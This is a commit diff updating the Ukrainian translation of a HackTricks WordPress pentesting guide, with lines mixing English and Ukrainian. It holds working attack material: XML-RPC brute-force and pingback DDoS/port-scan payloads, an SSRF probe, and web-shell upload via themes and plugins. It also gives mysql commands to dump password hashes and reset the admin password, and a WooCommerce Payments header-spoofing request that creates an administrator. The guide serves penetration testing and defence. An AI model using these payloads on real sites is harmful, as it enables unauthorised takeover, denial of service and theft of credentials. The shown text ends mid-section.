mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
558d5b88d6
commit
ffc6364038
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Базова інформація
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** файли потрапляють в: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните якийсь php теми щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи **theme twentytwelve** ви можете **access** файл **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Ще одна корисна url може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- У файлі **wp-config.php** можна знайти root-пароль до бази даних.
|
||||
- Типові шляхи для входу, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- У **wp-config.php** можна знайти root-пароль бази даних.
|
||||
- Типові шляхи для логіну, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Основні файли WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` містить корисну інформацію, наприклад версію встановленого WordPress.
|
||||
- `license.txt` містить корисну інформацію, таку як версія WordPress, що встановлена.
|
||||
- `wp-activate.php` використовується для процесу активації по email при налаштуванні нового сайту WordPress.
|
||||
- Папки входу (можуть бути перейменовані, щоб сховати їх):
|
||||
- Папки для логіну (можуть бути перейменовані, щоб сховати їх):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` — файл, який реалізує можливість передачі даних через HTTP з використанням XML як механізму кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- `xmlrpc.php` — файл, який реалізує функцію WordPress, що дозволяє передавати дані з використанням HTTP як транспортного механізму та XML як механізму кодування. Цей тип звʼязку був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Папка `wp-content` — основний каталог, де зберігаються plugins і themes.
|
||||
- `wp-content/uploads/` — каталог, куди зберігаються будь-які файли, завантажені на платформу.
|
||||
- `wp-includes/` — каталог, де зберігаються core-файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.
|
||||
- `wp-sitemap.xml` — у версіях WordPress 5.5 і вище WordPress генерує sitemap XML з усіма публічними постами та публічно доступними типами постів і таксономіями.
|
||||
- `wp-content/uploads/` — каталог, де зберігаються будь-які файли, завантажені на платформу.
|
||||
- `wp-includes/` — каталог, де зберігаються core файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
|
||||
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище, WordPress генерує sitemap XML файл зі всіма публічними записами та публічно опитуваними типами записів і таксономіями.
|
||||
|
||||
**Post exploitation**
|
||||
Post exploitation
|
||||
|
||||
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, authentication keys and salts, і префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні неполадок.
|
||||
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, імʼя користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також може використовуватись для активації DEBUG режиму, що може бути корисним при вирішенні проблем.
|
||||
|
||||
### Права користувачів
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Публікує і керує своїми та чужими постами
|
||||
- **Author**: Публікує і керує своїми власними постами
|
||||
- **Contributor**: Пише і керує своїми постами, але не може їх публікувати
|
||||
- **Subscriber**: Переглядає пости та редагує свій профіль
|
||||
- **Editor**: Публікує та керує своїми і чужими записами
|
||||
- **Author**: Публікує та керує лише своїми записами
|
||||
- **Contributor**: Пише та керує своїми записами, але не може їх публікувати
|
||||
- **Subscriber**: Переглядає записи та редагує свій профіль
|
||||
|
||||
## **Пасивна розвідка**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Отримати версію WordPress**
|
||||
|
||||
Перевірте, чи можна знайти файли `/license.txt` або `/readme.html`
|
||||
Перевірте, чи можете знайти файли `/license.txt` або `/readme.html`
|
||||
|
||||
У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
У **source code** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -72,42 +72,42 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Отримання версій загалом
|
||||
### Загальні способи отримання версій
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Активна енумерація
|
||||
## Active enumeration
|
||||
|
||||
### Плагіни та теми
|
||||
### Plugins and Themes
|
||||
|
||||
Ймовірно, ви не зможете знайти всі доступні плагіни та теми. Щоб виявити всі, вам потрібно **активно Brute Force список плагінів та тем** (сподіваємось, для нас існують автоматизовані інструменти, які містять ці списки).
|
||||
Ймовірно, ви не зможете знайти всі можливі Plugins і Themes. Щоб виявити їх усі, вам потрібно **активно Brute Force список Plugins і Themes** (сподіваємося, що є автоматизовані інструменти, які містять ці списки).
|
||||
|
||||
### Користувачі
|
||||
|
||||
- **ID Brute:** Ви отримуєте дійсних користувачів з сайту WordPress шляхом Brute Forcing ID користувачів:
|
||||
- **ID Brute:** Отримати дійсних користувачів з WordPress сайту можна шляхом Brute Forcing users IDs:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Якщо відповіді — **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id **недійсний**.
|
||||
Якщо відповіді мають статус **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**.
|
||||
|
||||
- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
|
||||
- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, запитуючи:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Ще один `/wp-json/` endpoint, який може розкрити деяку інформацію про користувачів, це:
|
||||
Ще один endpoint `/wp-json/`, який може розкрити деяку інформацію про користувачів, це:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Будуть надані лише відомості про користувачів, у яких ця функція увімкнена**.
|
||||
Note that this endpoint only exposes users that have made a post. **Буде надано лише інформацію про користувачів, у яких ця функція увімкнена**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP-адреси.
|
||||
Also note that **/wp-json/wp/v2/pages** може leak IP-адреси.
|
||||
|
||||
- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** є **різним** і вказує, чи **username exists or not**.
|
||||
- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** **відрізняється** — воно вказує, чи **username** існує чи ні.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Якщо `xml-rpc.php` активний, ви можете виконати credentials brute-force або використати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес [using this](https://github.com/relarizky/wpxploit) наприклад).
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо облікові дані невірні.
|
||||
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо credentials не є дійсними.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Використовуючи правильні credentials, ви можете завантажити файл. У відповіді буде вказано шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Також є **швидший спосіб** для brute-force credentials за допомогою **`system.multicall`** — ви можете спробувати кілька credentials в одному запиті:
|
||||
Також існує **швидший спосіб** brute-force облікових даних з використанням **`system.multicall`**, оскільки ви можете спробувати кілька облікових даних в одному запиті:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Цей метод призначений для програм, а не для людей, і є давнім, тому він не підтримує 2FA. Тому, якщо у вас є дійсні creds, але основний вхід захищено 2FA, **ви можете зловживати xmlrpc.php, щоб увійти за допомогою цих creds, обходячи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які доступні через консоль, але ви все одно можете отримати RCE, як пояснює Ippsec в [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит на будь-який хост/порт.\
|
||||
Це можна використати, щоб змусити **тисячі** Wordpress **сайтів** звернутися до одного **місця** (внаслідок чого там спричиниться **DDoS**) або ви можете використати це, щоб змусити Wordpress scan деяку внутрішню **network** (ви можете вказати будь-який порт).
|
||||
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.\
|
||||
Це можна використати, щоб попросити **тисячі** Wordpress **сайтів** **звернутися** до одного **місця** (внаслідок чого в тому місці спричинюється **DDoS**) або ви можете використати це, щоб змусити **Wordpress** **сканувати** внутрішню **мережу** (можна вказати будь-який порт).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
Якщо ви отримаєте **faultCode** зі значенням **більшим**, ніж **0** (17), це означає, що порт відкритий.
|
||||
Якщо ви отримаєте **faultCode** зі значенням **більше, ніж** **0** (17), це означає, що порт відкритий.
|
||||
|
||||
Погляньте на використання **`system.multicall`** у попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
|
||||
Погляньте на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,14 +210,14 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
### wp-cron.php DoS
|
||||
|
||||
Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\
|
||||
Коли до цього файлу **звертаються**, виконується **«важкий»** MySQL **запит**, тому його можуть використовувати **зловмисники** щоб **спричинити** **DoS**.\
|
||||
Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку Wordpress сторінку), що на сайтах з великим трафіком може спричинити проблеми (DoS).
|
||||
Під час доступу до цього файлу виконується «важкий» MySQL **query**, тому він може бути використаний зловмисниками для спричинення **DoS**.\
|
||||
Також за замовчуванням `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричинити проблеми (DoS).
|
||||
|
||||
Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем).
|
||||
Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії з регулярним інтервалом (без створення проблем).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Спробуйте звернутися до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і Worpress site може виконати запит до вас.
|
||||
Спробуйте звернутися до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Wordpress може зробити запит до вас.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,32 +230,32 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Цей інструмент перевіряє, чи присутній **methodName: pingback.ping** та шлях **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати.
|
||||
Цей інструмент перевіряє наявність **methodName: pingback.ping** та шляху **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати.
|
||||
|
||||
## Автоматичні інструменти
|
||||
## Автоматизовані інструменти
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Отримати доступ, перезаписавши біт
|
||||
## Отримати доступ шляхом перезапису біту
|
||||
|
||||
Більше це цікавість, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] можна було перевернути 1 біт у будь-якому wordpress файлі. Тож можна було змінити біт на позиції `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб замінити операцію NOT (`!`) на NOP.
|
||||
Скоріше курйоз, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було перевернути 1 біт у будь-якому файлі wordpress. Тому можна було змінити біт у позиції `5389` файлу `/var/www/html/wp-includes/user.php`, щоб зробити NOP для операції NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Зміна php-файлу у використаній темі (admin credentials needed)**
|
||||
**Зміна php у використовуваній темі (потрібні облікові дані адміністратора)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (праворуч)
|
||||
Appearance → Theme Editor → 404 Template (справа)
|
||||
|
||||
Замініть вміст на php shell:
|
||||
Змініть вміст на php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно зайти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -267,93 +267,93 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
### PHP плагін
|
||||
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Може бути можливість завантажити .php файли як плагін.\
|
||||
Створіть свій php backdoor, наприклад:
|
||||
|
||||
.png>)
|
||||
|
||||
Then add a new plugin:
|
||||
Потім додайте новий плагін:
|
||||
|
||||
.png>)
|
||||
|
||||
Upload plugin and press Install Now:
|
||||
Завантажте плагін і натисніть Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on Procced:
|
||||
Клацніть на Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
Ймовірно, це нічого явно не покаже, але якщо перейти в Media, ви побачите ваш shell, який було завантажено:
|
||||
|
||||
.png>)
|
||||
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
Відкрийте його і ви побачите URL для виконання reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### Завантаження та активація шкідливого плагіна
|
||||
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
Цей метод передбачає встановлення відомого вразливого шкідливого плагіна, який можна експлуатувати для отримання web shell. Цей процес виконується через WordPress dashboard наступним чином:
|
||||
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: плагін отримується з джерела, наприклад Exploit DB, як [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
||||
- Перейдіть у WordPress dashboard, потім `Dashboard > Plugins > Upload Plugin`.
|
||||
- Завантажте zip-файл завантаженого плагіна.
|
||||
3. **Plugin Activation**: Після успішної інсталяції плагін потрібно активувати через dashboard.
|
||||
4. **Exploitation**:
|
||||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||||
- Після встановлення і активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий своєю вразливістю.
|
||||
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту.
|
||||
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.
|
||||
|
||||
Контент включає візуальні підказки, що ілюструють кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною і неетичною без належної авторизації. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing з явним дозволом.
|
||||
Контент містить візуальні підказки, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Водночас важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належної авторизації. Цю інформацію слід використовувати відповідально і лише в легальному контексті, наприклад, у penetration testing з явною дозволеністю.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує підтримку для Wordpress Versions 6.X.X, 5.X.X and 4.X.X та дозволяє:
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для додаткової інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Підтримує **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** та дозволяє:
|
||||
- _**Privilege Escalation:**_ Створює користувача в WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажує власний плагін (backdoor) у WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Редагує вбудовані плагіни у WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Редагує вбудовані теми у WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Експлойти для сторонніх плагінів/тем WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш кастомний плагін (backdoor) у WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Редагувати вбудовані плагіни у WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Редагувати вбудовані теми у WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Кастомні експлойти для сторонніх WordPress плагінів/тем.
|
||||
|
||||
## Post Exploitation
|
||||
## Після експлуатації
|
||||
|
||||
Отримати імена користувачів та паролі:
|
||||
Extract usernames and passwords:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Змінити пароль адміністратора:
|
||||
Змінити пароль admin:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Wordpress Плагіни Pentest
|
||||
|
||||
### Поверхня атаки
|
||||
|
||||
Знання того, як плагін Wordpress може виставляти функціональність, є ключовим для знаходження вразливостей у його функціональності. Ви можете побачити, як плагін може виставляти функціональність у наступних пунктах та приклади вразливих плагінів у [**цей пост у блозі**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Розуміння того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете побачити, яким чином плагін може відкривати функціональність у наведених нижче пунктах, а також приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Один зі способів, яким плагін може виставляти функції — через AJAX обробники. Ці обробники можуть містити помилки в логіці, авторизації або автентифікації. Крім того, досить часто ці функції будуть базувати й аутентифікацію, й авторизацію на наявності wordpress nonce, який **будь-який аутентифікований користувач в екземплярі Wordpress може мати** (незалежно від його ролі).
|
||||
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX-обробники. Вони можуть містити помилки в логіці, authorization або authentication. Крім того, досить часто ці функції базують і authentication, і authorization на наявності wordpress nonce, який **будь-який автентифікований у інстанції Wordpress користувач може мати** (незалежно від ролі).
|
||||
|
||||
Це функції, які можуть використовуватись для виставлення функції в плагіні:
|
||||
Ось функції, які можуть бути використані для надання доступу до функції в плагіні:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).**
|
||||
**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Більше того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач аутентифікований, і зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть отримати доступ до дій з високими привілеями.
|
||||
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Також можливо відкрити доступ до функцій wordpress, зареєструвавши REST API за допомогою функції `register_rest_route`:
|
||||
Також можливо експонувати функції з wordpress, реєструючи REST API за допомогою функції `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` — це callback-функція, яка перевіряє, чи авторизований певний користувач для виклику методу API.
|
||||
The `permission_callback` — callback-функція, яка перевіряє, чи авторизований даний користувач для виклику API-методу.
|
||||
|
||||
**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.**
|
||||
**Якщо використовується вбудована функція `__return_true`, вона просто пропускає перевірку прав користувача.**
|
||||
|
||||
- **Прямий доступ до PHP-файлу**
|
||||
- **Прямий доступ до php-файлу**
|
||||
|
||||
Звісно, Wordpress використовує PHP і файли всередині плагінів доступні напряму через веб. Тому якщо плагін відкриває якусь вразливу функціональність, яка спрацьовує просто при доступі до файлу, вона буде експлуатована будь-яким користувачем.
|
||||
Звісно, Wordpress використовує PHP, і файли всередині плагінів напряму доступні з вебу. Тож якщо плагін експонує вразливу функціональність, яка активується просто при доступі до файлу, її зможе експлуатувати будь-який користувач.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Деякі плагіни реалізують «trusted header» скорочення для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок для встановлення контексту поточного користувача для REST-запитів. Якщо заголовок не криптографічно пов'язаний із запитом upstream-компонентом, нападник може spoof його і звернутися до привілейованих REST-маршрутів як адміністратор.
|
||||
Деякі плагіни реалізують ярлики «trusted header» для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок, щоб встановити поточний контекст користувача для REST-запитів. Якщо заголовок не криптографічно пов'язаний із запитом upstream-компонентом, атакуючий може його підробити і звертатися до привілейованих REST-маршрутів як адміністратор.
|
||||
|
||||
- Impact: неавторизоване підвищення привілеїв до адміністратора шляхом створення нового адміністратора через core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший обліковий запис адміністратора).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` з масивом ролей з підвищеними правами.
|
||||
- Impact: неавтентифіковане підвищення привілеїв до admin шляхом створення нового адміністратора через core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (змушує user ID 1, зазвичай перший обліковий запис адміністратора).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` з масивом підвищених ролей.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,30 +393,30 @@ Content-Length: 114
|
||||
```
|
||||
Чому це працює
|
||||
|
||||
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації і пропускає перевірки прав.
|
||||
- Ядро WordPress очікує наявність `create_users` capability для цього маршруту; хак плагіну обходить це, безпосередньо встановлюючи поточний контекст користувача з заголовка.
|
||||
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації та пропускає перевірки capability.
|
||||
- WordPress core очікує `create_users` capability для цього маршруту; хак плагіна обходить її, безпосередньо встановлюючи контекст поточного користувача з заголовка.
|
||||
|
||||
Очікувані індикатори успіху
|
||||
Очікувані ознаки успіху
|
||||
|
||||
- HTTP 201 з JSON-тiлом, що описує створеного користувача.
|
||||
- Новий адмін-користувач, видимий у `wp-admin/users.php`.
|
||||
- HTTP 201 з JSON-тілом, що описує створеного користувача.
|
||||
- Новий обліковий запис адміністратора видно в `wp-admin/users.php`.
|
||||
|
||||
Контрольний список для виявлення
|
||||
Контрольний список виявлення
|
||||
|
||||
